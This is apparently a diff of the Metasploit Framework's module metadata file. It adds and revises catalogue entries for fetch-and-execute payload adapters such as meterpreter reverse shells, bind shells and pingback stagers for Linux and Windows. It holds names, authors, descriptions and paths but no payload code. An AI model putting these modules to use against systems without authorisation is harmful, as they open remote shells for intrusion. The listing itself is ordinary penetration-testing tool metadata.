"/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "payload_cmd/linux/https/x64/pingback_bind_tcp": { "name": "HTTPS Fetch, Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/cmd/linux/https/x64/pingback_bind_tcp", @@ -177706,7 +178156,7 @@ "Brendan Watters", "bwatters-r7" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nAccept a connection from attacker and report UUID (Linux x64)", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nAccept a connection from attacker and report UUID (Linux x64)", "references": [ ], @@ -177716,7 +178166,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/pingback_bind_tcp", @@ -177741,7 +178191,7 @@ "Brendan Watters", "bwatters-r7" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and report UUID (Linux x64)", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and report UUID (Linux x64)", "references": [ ], @@ -177751,7 +178201,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/pingback_reverse_tcp", @@ -177776,7 +178226,7 @@ "Brendan Watters", "ricky" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a command shell (staged).\n\nListen for a connection", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], @@ -177786,7 +178236,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/shell/bind_tcp", @@ -177812,7 +178262,7 @@ "ricky", "RageLtMan " ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -177822,7 +178272,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/shell/reverse_sctp", @@ -177848,7 +178298,7 @@ "ricky", "tkmru" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -177858,7 +178308,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/shell/reverse_tcp", @@ -177883,7 +178333,7 @@ "Brendan Watters", "epi " ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection and spawn a command shell", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for an IPv6 connection and spawn a command shell", "references": [ ], @@ -177893,7 +178343,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/shell_bind_ipv6_tcp", @@ -177918,7 +178368,7 @@ "Brendan Watters", "ricky" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection and spawn a command shell", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection and spawn a command shell", "references": [ ], @@ -177928,7 +178378,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/shell_bind_tcp", @@ -177953,7 +178403,7 @@ "Brendan Watters", "Geyslan G. Bem " ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection in a random port and spawn a command shell.\nUse nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute an x64 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ ], @@ -177963,7 +178413,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/shell_bind_tcp_random_port", @@ -177988,7 +178438,7 @@ "Brendan Watters", "mak" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a shell on an established connection", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a shell on an established connection", "references": [ ], @@ -177998,7 +178448,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/shell_find_port", @@ -178023,7 +178473,7 @@ "Brendan Watters", "epi " ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a command shell over IPv6", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], @@ -178033,7 +178483,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/shell_reverse_ipv6_tcp", @@ -178058,7 +178508,7 @@ "Brendan Watters", "ricky" ], - "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a command shell", + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", "references": [ ], @@ -178068,7 +178518,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/https/x64/shell_reverse_tcp", @@ -178080,6 +178530,120 @@ "session_types": false, "needs_cleanup": false }, + "payload_cmd/linux/tftp/mips64/meterpreter_reverse_http": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a MIPS64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/mips64/meterpreter_reverse_https": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a MIPS64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/mips64/meterpreter_reverse_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/mips64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute a MIPS64 payload from a TFTP server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 13:20:59 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/mips64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "payload_cmd/linux/tftp/x64/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/x64/exec", @@ -178094,7 +178658,7 @@ "ricky", "Geyslan G. Bem " ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nExecute an arbitrary command or just a /bin/sh shell", + "description": "Fetch and execute an x64 payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell", "references": [ ], @@ -178104,7 +178668,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/exec", @@ -178116,9 +178680,118 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/meterpreter/bind_tcp": { - "name": "TFTP Fetch, Bind TCP Stager", - "fullname": "payload/cmd/linux/tftp/x64/meterpreter/bind_tcp", + "payload_cmd/linux/tftp/x64/meterpreter/bind_tcp": { + "name": "TFTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "ricky" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/meterpreter/reverse_sctp": { + "name": "TFTP Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "RageLtMan " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/meterpreter/reverse_tcp": { + "name": "TFTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "ricky", + "tkmru" + ], + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/tftp/x64/meterpreter_reverse_http": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_http", "aliases": [ ], @@ -178127,23 +178800,24 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "ricky" + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nListen for a connection", + "description": "Fetch and execute an x64 payload from a TFTP server.", "references": [ ], - "platform": "Linux,Linux", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/meterpreter/bind_tcp", + "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -178152,9 +178826,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/meterpreter/reverse_sctp": { - "name": "TFTP Fetch, Reverse SCTP Stager", - "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_sctp", + "payload_cmd/linux/tftp/x64/meterpreter_reverse_https": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_https", "aliases": [ ], @@ -178163,23 +178837,24 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "RageLtMan " + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from a TFTP server.", "references": [ ], - "platform": "Linux,Linux", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_sctp", + "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -178188,9 +178863,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/linux/tftp/x64/meterpreter/reverse_tcp": { - "name": "TFTP Fetch, Reverse TCP Stager", - "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_tcp", + "payload_cmd/linux/tftp/x64/meterpreter_reverse_tcp": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_tcp", "aliases": [ ], @@ -178199,24 +178874,24 @@ "type": "payload", "author": [ "Brendan Watters", - "Brent Cook ", - "ricky", - "tkmru" + "Adam Cammack ", + "Brent Cook ", + "timwr" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from a TFTP server.", "references": [ ], - "platform": "Linux,Linux", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/linux/tftp/x64/meterpreter/reverse_tcp", + "ref_name": "cmd/linux/tftp/x64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -178238,7 +178913,7 @@ "Brendan Watters", "bwatters-r7" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nAccept a connection from attacker and report UUID (Linux x64)", + "description": "Fetch and execute an x64 payload from a TFTP server.\nAccept a connection from attacker and report UUID (Linux x64)", "references": [ ], @@ -178248,7 +178923,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/pingback_bind_tcp", @@ -178273,7 +178948,7 @@ "Brendan Watters", "bwatters-r7" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to attacker and report UUID (Linux x64)", + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and report UUID (Linux x64)", "references": [ ], @@ -178283,7 +178958,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/pingback_reverse_tcp", @@ -178308,7 +178983,7 @@ "Brendan Watters", "ricky" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nSpawn a command shell (staged).\n\nListen for a connection", + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", "references": [ ], @@ -178318,7 +178993,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/shell/bind_tcp", @@ -178344,7 +179019,7 @@ "ricky", "RageLtMan " ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -178354,7 +179029,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/shell/reverse_sctp", @@ -178380,7 +179055,7 @@ "ricky", "tkmru" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -178390,7 +179065,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/shell/reverse_tcp", @@ -178415,7 +179090,7 @@ "Brendan Watters", "epi " ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nListen for an IPv6 connection and spawn a command shell", + "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for an IPv6 connection and spawn a command shell", "references": [ ], @@ -178425,7 +179100,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/shell_bind_ipv6_tcp", @@ -178450,7 +179125,7 @@ "Brendan Watters", "ricky" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nListen for a connection and spawn a command shell", + "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection and spawn a command shell", "references": [ ], @@ -178460,7 +179135,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp", @@ -178485,7 +179160,7 @@ "Brendan Watters", "Geyslan G. Bem " ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nListen for a connection in a random port and spawn a command shell.\nUse nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute an x64 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ ], @@ -178495,7 +179170,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/shell_bind_tcp_random_port", @@ -178520,7 +179195,7 @@ "Brendan Watters", "mak" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nSpawn a shell on an established connection", + "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a shell on an established connection", "references": [ ], @@ -178530,7 +179205,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/shell_find_port", @@ -178555,7 +179230,7 @@ "Brendan Watters", "epi " ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to attacker and spawn a command shell over IPv6", + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], @@ -178565,7 +179240,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", @@ -178590,7 +179265,7 @@ "Brendan Watters", "ricky" ], - "description": "Fetch and Execute an x64 payload from a TFTP server.\n\nConnect back to attacker and spawn a command shell", + "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", "references": [ ], @@ -178600,7 +179275,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", + "mod_time": "2023-05-25 11:49:38 +0000", "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", "is_install_path": true, "ref_name": "cmd/linux/tftp/x64/shell_reverse_tcp", @@ -182546,7 +183221,232 @@ "sf ", "OJ Reeves" ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_winhttp": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_winhttps": { + "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter_bind_named_pipe": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "UserExistsError", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter_bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter_bind_tcp": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter_bind_tcp", + 